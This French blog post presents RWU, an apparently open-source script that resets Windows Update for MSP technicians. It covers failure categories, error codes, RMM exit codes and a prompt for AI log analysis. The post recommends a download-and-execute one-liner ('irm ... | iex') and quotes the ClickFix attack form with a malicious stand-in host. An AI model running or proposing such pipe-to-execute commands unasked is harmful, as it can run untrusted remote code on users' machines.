Reset Windows Update : Le Guide Définitif de RWU pour les MSP
Le script de réinitialisation de Windows Update de Manuel Gil a dépassé le demi-million de téléchargements avant qu’il ne l’archive en mars 2023. Le successeur en Dev-C++ — Reset-Windows-Update-Tool, 513 étoiles sur GitHub — a suivi le même chemin vers l’archive le 16 janvier 2026. Pendant des années, c’étaient les outils vers lesquels se tournaient les sysadmins quand l’utilitaire de résolution de Microsoft haussait les épaules et disait « nous n’avons pas pu identifier le problème. »
Ils ont disparu. Et rien ne les a remplacés.
Cherche « reset Windows Update » aujourd’hui et tu trouveras plein de guides grand public. Des captures d’écran de panneaux Paramètres. « Clique sur Résoudre les problèmes, puis Autres utilitaires de résolution. » L’ironie : cet utilitaire de résolution est lui-même en cours de dépréciation avec le retrait de MSDT. Microsoft retire son propre outil de réparation.
Pour les techniciens MSP qui gèrent des centaines d’endpoints, le vide est pire. Tu as besoin de quelque chose qui s’exécute silencieusement via ton RMM. Quelque chose qui ne va pas pulvériser la configuration d’anneau Intune que ton équipe a passé trois semaines à peaufiner. Quelque chose qui produit un code de sortie structuré, pas une boîte de dialogue GUI devant laquelle personne n’est assis.
C’est pour ça que j’ai construit RWU. Ce n’est pas un autre « truc magique » pour Windows Update. C’est un workflow technique en 14 étapes, vérifiable et réversible, avec des paramètres par défaut sûrs, des opérations dangereuses optionnelles, des codes de sortie CLI pour l’automatisation, et une sortie diagnostique structurée pour l’analyse par IA. Un seul fichier .cmd. GPL-3.0. Pas d’installeur, pas de télémétrie, pas de persistance.
Les Trois Catégories de Pannes
La plupart des guides Windows Update sautent le diagnostic et passent directement à la solution. Arrêter les services, supprimer SoftwareDistribution, redémarrer, croiser les doigts. Ça marche environ un tiers du temps. Les deux autres tiers, tu as perdu vingt minutes et possiblement aggravé les choses.
Le problème, c’est que les pannes de Windows Update ne sont pas un seul problème. Ce sont trois problèmes.
Catégorie 1 : Corruption de l’état local. Le dossier SoftwareDistribution est pourri. Catroot2 a des incohérences de hash. La file d’attente de transfert BITS est bloquée. Codes classiques : 0x80070002, 0x80073712. Le pipeline de mise à jour de la machine est engorgé par ses propres données obsolètes. Une réinitialisation locale — arrêter les services, renommer les dossiers, réenregistrer les DLLs — résout ça de façon fiable.
Catégorie 2 : Conflits de politiques. C’est celle qui mord les MSPs. Une machine qui pointait vers un serveur WSUS a encore le cookie du registre. Un appareil géré par Intune a des paramètres d’anneau Windows Update for Business en conflit, empilés par-dessus une Group Policy résiduelle de quand il était joint au domaine. Les symptômes sont identiques à la Catégorie 1. La solution est complètement différente — et si tu appliques la solution de la Catégorie 1 sans nettoyer l’état des politiques, tu seras de retour dans une semaine.
Catégorie 3 : Microsoft a cassé quelque chose. KB5089549 en mai 2026 a causé des erreurs 0x800f0922 parce que la mise à jour cumulative demandait plus d’espace sur la partition EFI que beaucoup de machines n’en avaient. KB5082063 en avril 2026 a fait crasher LSASS sur les Domain Controllers avec Privileged Access Management, provoquant une boucle de redémarrage infinie nécessitant le patch d’urgence hors bande de Microsoft KB5091157. Aucun script de réinitialisation local ne corrige ça. Tu as besoin du bon patch, ou de la maintenance des partitions, ou de démarrer en mode récupération.
Le danger de confondre ces catégories est réel. Une approche « arrêter tous les services et tout supprimer y compris les politiques du registre » corrige la Catégorie 1. Elle endommage catastrophiquement la Catégorie 2 — tu viens de retirer un appareil géré de ton anneau de gestion des mises à jour. Et elle gaspille un temps précieux sur la Catégorie 3 pendant qu’un Domain Controller est en boucle de redémarrage dans ton environnement de production.
L’architecture de RWU correspond directement à ces catégories. Les réparations de Catégorie 1 sont le comportement par défaut. Les opérations de Catégorie 2 (suppression de politiques, réinitialisation SDDL) nécessitent une activation explicite. La Catégorie 3 est diagnostiquée et signalée comme « hors du périmètre de cet outil — voici quoi investiguer ensuite. »
Le Paysage des Outils : Qui Fait Quoi
Voici l’état actuel des outils de réparation de Windows Update :
| Outil | Statut | Étapes Individuelles | Interface | Logs pour IA ? | Vérification Hash ? |
|---|---|---|---|---|---|
| RWU | Actif | Oui — 14 étapes | TUI + CLI (0/1/2) | Oui | Oui (SHA256) |
| Microsoft WU Troubleshooter | Déprécié avec MSDT | Partiel | GUI seulement | Non | N/A |
| ManuelGil Reset-Windows-Update-Tool | Archivé jan 2026 | Oui | Menu TUI | Non | Non |
| ManuelGil Script-Reset-WU | Archivé mar 2023 | Oui | Aucune | Non | Non |
| ChrisTitusTech/winutil | Actif | Non | GUI | Non | Non |
| PSWindowsUpdate | Actif | Oui | Cmdlet | Non | Signature du module |
WinUtil mérite une mention. Avec environ 55 000 étoiles, l’outil de Chris Titus Tech est l’utilitaire Windows open-source le plus visible. Il est excellent pour le nettoyage de bloatware et la configuration système. Mais son module Updates ne fait que basculer entre les politiques de mise à jour Default, Security-only et Disabled. Il ne répare pas les composants cassés de Windows Update. Si quelqu’un recommande WinUtil pour une corruption du magasin de composants 0x80073712, il confond les paramètres de mise à jour avec la réparation des mises à jour.
Les outils de Manuel Gil étaient les vrais. Le script .bat était simple et efficace — arrêter les services, renommer les dossiers, réenregistrer les DLLs. Exactement le workflow KB971058 que Microsoft documentait. Mais aucune version n’avait de codes de sortie pour RMM, de diagnostics pour IA, ni de séparation entre les opérations sûres et dangereuses. Tout s’exécutait en séquence, à chaque fois.
Ce Que Fait RWU Concrètement
L’Architecture en 14 Étapes
Les étapes de RWU se regroupent en phases logiques :
Étape 0 — Diagnostics. Avant tout changement, RWU capture l’état du système : version et build de l’OS, statut des services pour wuauserv/cryptSvc/bits/msiserver/appidsvc, espace disque incluant la partition EFI, les 100 dernières lignes de CBS.log (pas le fichier complet de plusieurs centaines de mégaoctets), et les entrées récentes du journal d’événements Windows Update. Cette sortie est conçue pour l’analyse par IA.
Étapes 1–2 — Arrêt des services. Windows Update, Cryptographic Services, BITS, Windows Installer, Application Identity. RWU attend des arrêts propres au lieu de tuer les processus, ce qui évite la corruption de données dans le magasin de composants.
Étapes 3–5 — Nettoyage et reconstruction. SoftwareDistribution est renommé avec un horodatage — SoftwareDistribution.bak.20260522-143022 — pour que lancer l’outil deux fois ne plante pas sur un dossier .bak existant. Catroot2 reçoit le même traitement. Puis les DLLs principales de Windows Update sont réenregistrées : 34 DLLs d’atl.dll à wuwebv.dll, couvrant l’intégralité du pipeline de mise à jour et de chiffrement.
Étapes 6–7 — DANGEREUSES (activation explicite uniquement). L’Étape 6 exporte puis supprime les politiques du registre Windows Update sous HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate. L’Étape 7 réinitialise les descripteurs de sécurité des services BITS et WU aux valeurs par défaut de Windows. Les deux sont DÉSACTIVÉES par défaut. Les deux nécessitent une activation explicite — un toggle TUI ou des flags CLI /policy et /sddl.
Étape 8 — Réparation des fichiers système. sfc /scannow suivi de DISM /Online /Cleanup-Image /RestoreHealth. Le combo pour la corruption du magasin de composants. RWU capture la sortie pour revue diagnostique.
Étapes 9–10 — Pile réseau. Réinitialisation Winsock et nettoyage des paramètres proxy. Ceux-ci détectent les cas où les échecs de mise à jour sont en fait de la corruption de la pile réseau.
Étapes 11–14 — Finalisation. Redémarrer les services arrêtés, forcer un cycle de détection des mises à jour, exporter le journal d’événements et générer un résumé avec un code de sortie structuré.
Paramètres Par Défaut Sûrs : Pourquoi les Étapes 6 et 7 Sont Verrouillées
C’est la décision architecturale qui me tient le plus à cœur.
L’Étape 6 supprime les politiques du registre Windows Update. Sur un PC personnel autonome, c’est acceptable. Sur un appareil géré par Intune, tu viens de détruire l’appartenance à l’anneau Windows Update for Business. L’appareil passe de « anneau Pilote, report de 7 jours » à « non géré, installe ce que Microsoft pousse maintenant. » Sur une machine qui pointe encore vers un serveur WSUS (oui, WSUS a été déprécié en septembre 2024, mais plein d’environnements l’utilisent encore), tu viens de supprimer le pointeur WSUS et la machine commence à télécharger les mises à jour directement depuis le CDN Microsoft.
L’Étape 7 réinitialise les descripteurs de sécurité des services. Sur un endpoint entreprise verrouillé où les outils de sécurité ont intentionnellement resserré ces descripteurs, tu viens de casser cette posture.
Les guides de mise à jour de TroubleChute réinitialisent les politiques par défaut. Les outils de Manuel Gil exécutaient tout en séquence sans concept d’activation étape par étape. RWU sépare les opérations sûres des destructives. Le défaut est sûr. L’option nucléaire est disponible — mais tu dois la demander explicitement.
Pour Commencer
Une ligne :
irm matbanik.info/rwu | iex
Ce qui se passe : le lanceur rwu.ps1 se télécharge depuis matbanik.info, récupère la dernière version de RWU depuis GitHub, vérifie le hash SHA256, extrait Reset_WindowsUpdate.cmd et le lance avec une invite d’élévation UAC. Si le hash ne correspond pas, rien ne s’exécute.
Le modèle de confiance : code source GPL-3.0 sur GitHub. Vérification SHA256 avant exécution. Un seul fichier .cmd — pas d’installeur, pas de persistance, pas de télémétrie. Tu peux auditer chaque ligne de code avant qu’elle ne touche ton endpoint.
Maintenant, l’éléphant dans la pièce. Le Blog Sécurité de Microsoft en août 2025 a signalé les cmdlets irm et iex de PowerShell comme « très prolifiques » dans les campagnes d’ingénierie sociale ClickFix. Les acteurs de menace trompent les utilisateurs pour qu’ils exécutent irm site-malveillant.com | iex et la partie est finie.
La vérification de hash de RWU traite ça directement. Le lanceur ne télécharge-et-exécute pas aveuglément. Il télécharge, vérifie SHA256 contre la somme de contrôle publiée et n’exécute que si ça correspond. Un chemin de téléchargement compromis produit une incohérence de hash et le lanceur s’interrompt.
Si irm | iex te met encore mal à l’aise — c’est compréhensible — télécharge directement depuis GitHub Releases. Le fichier .cmd est là. Vérifie le hash toi-même.
Codes d’Erreur et Leur Signification
Les codes d’erreur de Windows Update sont de la misère hexadécimale. Voici un mapping des plus courants vers ce qui est vraiment cassé et quelles étapes de RWU les traitent :
| Code d’Erreur | Ce Que Ça Signifie | Cause Racine | Étapes RWU |
|---|---|---|---|
| 0x80070002 | Fichier/clé de registre manquant | Corruption de SoftwareDistribution | Étapes 3–5 |
| 0x800f0922 | Échec de staging CBS | Épuisement d’espace partition EFI (mai 2026 KB5089549) | Étape 0 diagnostique ; Étapes 3–5 pour staging |
| 0x80073712 | Magasin de composants corrompu | Incohérence de manifestes dans WinSxS | Étape 8 (DISM) |
| 0x800f081f | Fichiers source DISM manquants | Pas de source de réparation disponible | Étape 8 avec /Source:wim |
| 0x80240069 | Redémarrage en attente | Mise à jour précédente nécessite un redémarrage | Étapes 11–14 |
| 0x8024402c | Impossible d’atteindre les serveurs WU | Problème de pile réseau ou proxy | Étapes 9–10 |
| 0x80244022 | Serveur indisponible | CDN Microsoft bloqué ou en panne | RWU diagnostique ; problème firewall/proxy |
| 0x8024401c | Timeout de connexion | Problème de proxy ou latence | Étapes 9–10 ; règles firewall nécessaires |
Le code 0x800f0922 mérite qu’on le surveille. KB5089549 en mai 2026 l’a déclenché massivement parce que la mise à jour cumulative avait besoin de plus d’espace sur la partition EFI que beaucoup de machines n’en disposaient. Microsoft a confirmé que les machines avec 10 Mo ou moins d’espace libre EFI tombaient dans une boucle de rollback à 35 % de l’installation. Les diagnostics de l’Étape 0 de RWU signaleront un espace EFI bas. L’outil ne peut pas redimensionner la partition pour toi — mais au moins tu sauras que tu poursuis une contrainte matérielle, pas une corruption logicielle.
Intégration RMM : Mode CLI pour les MSPs
Le TUI est utile pour le dépannage interactif. Pour le déploiement de flotte, tu as besoin du CLI.
Codes de sortie :
0— Succès. Toutes les étapes complétées sans erreur.1— Échec. Au moins une étape a échoué. Vérifie le log.2— Erreur d’utilisation. Arguments incorrects ou aide demandée.
Flags CLI :
| Flag | Action |
|---|---|
/diag | Diagnostics uniquement (Étape 0). Aucune modification. |
/reset | Réinitialisation sûre complète (Étapes 1–5, 8–14). |
/step N | Exécuter une étape spécifique. Valides : 0, 1-2, 3, 4, 5, 6, 7, 8, 9-10, 11-14. |
/policy | Activer l’Étape 6 (suppression des politiques). Activation explicite. |
/sddl | Activer l’Étape 7 (réinitialisation SDDL). Activation explicite. |
/logdir "chemin" | Écrire les logs dans un répertoire spécifique. |
Déploiement silencieux :
Reset_WindowsUpdate.cmd /reset /logdir "C:\Temp\RWU"
Ça exécute la séquence de réinitialisation sûre et écrit les logs dans C:\Temp\RWU. Le code de sortie dit à ton RMM si ça a marché.
Exemple d’intégration NinjaRMM :
$logDir = "C:\Temp\RWU"
$result = Start-Process -FilePath "C:\Tools\Reset_WindowsUpdate.cmd" `
-ArgumentList "/reset /logdir $logDir" -Wait -PassThru
# Copier les logs vers le partage central avec préfixe du nom de machine
$centralShare = "\\SERVER\RWU-Logs"
Get-ChildItem -Path $logDir -Filter "*.log" | ForEach-Object {
$destName = "$($env:COMPUTERNAME)_$($_.Name)"
Copy-Item -Path $_.FullName -Destination "$centralShare\$destName" -Force
}
if ($result.ExitCode -eq 0) {
Ninja-Property-Set rwuStatus "Success"
} elseif ($result.ExitCode -eq 1) {
Ninja-Property-Set rwuStatus "Failed - Check logs"
# Créer un ticket
} else {
Ninja-Property-Set rwuStatus "Usage error"
}
L’étape de collecte de logs récupère chaque fichier .log généré par RWU, préfixe le COMPUTERNAME de la machine et le copie vers un partage UNC central. Après une exécution à l’échelle de la flotte, \\SERVER\RWU-Logs contient FRONT-DESK-PC_RWU_20260522.log, DC01_RWU_20260522.log, etc. — tout au même endroit. Remplace \\SERVER\RWU-Logs par ton propre chemin réseau.
Le même modèle fonctionne avec Datto, ConnectWise Automate ou tout RMM qui supporte le scripting PowerShell et l’analyse des codes de sortie.
Le flag /diag est le sous-estimé. Lance-le sur toute ta flotte avant le Patch Tuesday. Analyse la sortie. Identifie les machines avec peu d’espace EFI, des services arrêtés ou des cookies de politiques obsolètes avant de pousser la mise à jour cumulative. Les diagnostics de pré-vol font gagner plus de temps que la remédiation post-panne.
Diagnostics Prêts pour l’IA
CBS.log, c’est là que vit le débogage Windows Update. C’est aussi là que les carrières de débogage vont mourir. Le fichier atteint couramment des centaines de mégaoctets de télémétrie granulaire de servicing. Trouver la vraie panne dans ce volume est fastidieux même pour les techniciens expérimentés.
L’Étape 0 de RWU capture un instantané diagnostique structuré — les données pertinentes, pré-traitées pour consommation par IA :
=== RWU Diagnostic Output === OS: Windows 11 Pro 24H2 (Build 26100.1742) Disk C: 47.2 GB free of 237.8 GB EFI Partition: 89 MB free of 100 MB [WARNING: LOW SPACE] Service Status: wuauserv: Running cryptSvc: Running bits: Running msiserver: Stopped CBS.log tail (last 100 lines): 2026-05-22 14:23:17, Error CBS Failed to resolve package: Package_for_KB5089549~31bf3856ad364e35~amd64~~26100.1742.1.0 [HRESULT = 0x800f0922]
Copie ça dans ChatGPT, Claude ou Copilot avec ce prompt :
You are a Windows Update diagnostic expert. Below is the log output from RWU (Reset Windows Update utility). Analyze it and respond with a "Bottom Line" summary using exactly these questions: - What went wrong? - Is the hard drive failing? - Is my data safe? - Can it be fixed? - What caused this? - What's the risk if I wait? Keep answers to 1–2 sentences each. Use plain language a non-technical client would understand. Bold Yes/No answers where applicable. RWU log output: <paste log here>
Le format « Bottom Line », c’est le gain de temps. Tu obtiens un résumé prêt pour le client que tu peux coller directement dans un ticket ou un email — sans traduction nécessaire. Vérifie la précision, envoie. J’ai écrit plus sur enseigner à l’IA tes habitudes de communication et évaluer les résultats de l’IA pour leur précision dans des articles liés.
L’idée clé : envoyer un CBS.log de 200 Mo à un LLM, c’est cher et ça dépasse généralement les limites de contexte. Envoyer 100 lignes pertinentes pré-traitées ne coûte presque rien et donne à l’IA exactement ce dont elle a besoin.
Quand RWU Ne T’aidera Pas
Les limites honnêtes construisent plus de confiance que la fausse assurance. Voici ce que RWU ne peut pas réparer :
Épuisement de la partition EFI. L’Étape 0 le diagnostique. RWU ne peut pas redimensionner les partitions. Tu as besoin de diskpart ou d’un gestionnaire de partitions pour étendre la partition EFI, ou nettoyer les entrées de démarrage obsolètes avec bcdboot/bcdedit.
Boucle de redémarrage LSASS sur Domain Controllers. Le KB5082063 d’avril 2026 fait crasher LSASS avant que tout outil local ne puisse s’exécuter. Tu as besoin du patch hors bande de Microsoft KB5091157 appliqué via l’environnement de récupération.
Échecs d’inscription ESU de Windows 10. Si les licences Extended Security Update ne sont pas validées, les mises à jour échouent avec des erreurs de licence. C’est un problème de licences, pas de composants WU.
Blocages au niveau réseau. Si ton firewall bloque les endpoints CDN de Microsoft, réinitialiser la pile réseau locale n’aidera pas. La pile est OK. C’est la politique qui bloque le trafic.
Dommages irrécupérables au magasin de composants. Si DISM /RestoreHealth échoue avec « les fichiers source n’ont pas pu être trouvés » et que tu n’as pas d’install.wim correspondant, tu es face à une mise à jour in-place ou une installation propre. RWU te dit que DISM a échoué — il ne peut pas faire apparaître des fichiers source manquants.
La Suite
Le code source de RWU est sur GitHub. GPL-3.0. Mets une étoile si c’est utile — la visibilité aide d’autres techniciens à trouver l’outil. Les Issues sont ouvertes pour les bugs et les demandes de fonctionnalités.
Les outils de Manuel Gil ont servi la communauté des administrateurs Windows pendant des années. Quand ils ont été archivés, ils ont laissé un vide que les guides grand public et les utilitaires de nettoyage n’ont pas pu combler. RWU reprend le flambeau — avec les ajouts que les workflows MSP modernes exigent : des codes de sortie que ton RMM peut parser, des paramètres par défaut sûrs qui ne détruiront pas tes politiques gérées, et une sortie diagnostique conçue pour le dépannage augmenté par IA qui devient la nouvelle norme.
La commande : irm matbanik.info/rwu | iex. Ou télécharge depuis GitHub. Dans les deux cas — vérifiable, réversible, de qualité professionnelle.
Ressources
- RWU — Reset Windows Update (GitHub)
- RWU PowerShell Launcher
- ManuelGil/Reset-Windows-Update-Tool (archivé)
- ManuelGil/Script-Reset-Windows-Update-Tool (archivé)
- ChrisTitusTech/winutil
- PSWindowsUpdate (PowerShell Gallery)
- Dépréciation de MSDT — Microsoft Support
- Dépréciation de WSUS — Microsoft Tech Community
- Ingénierie sociale ClickFix — Microsoft Security Blog
- Comment enseigner des habitudes à l’IA — et arrêter de se répéter
- Évaluer l’IA comme outil de productivité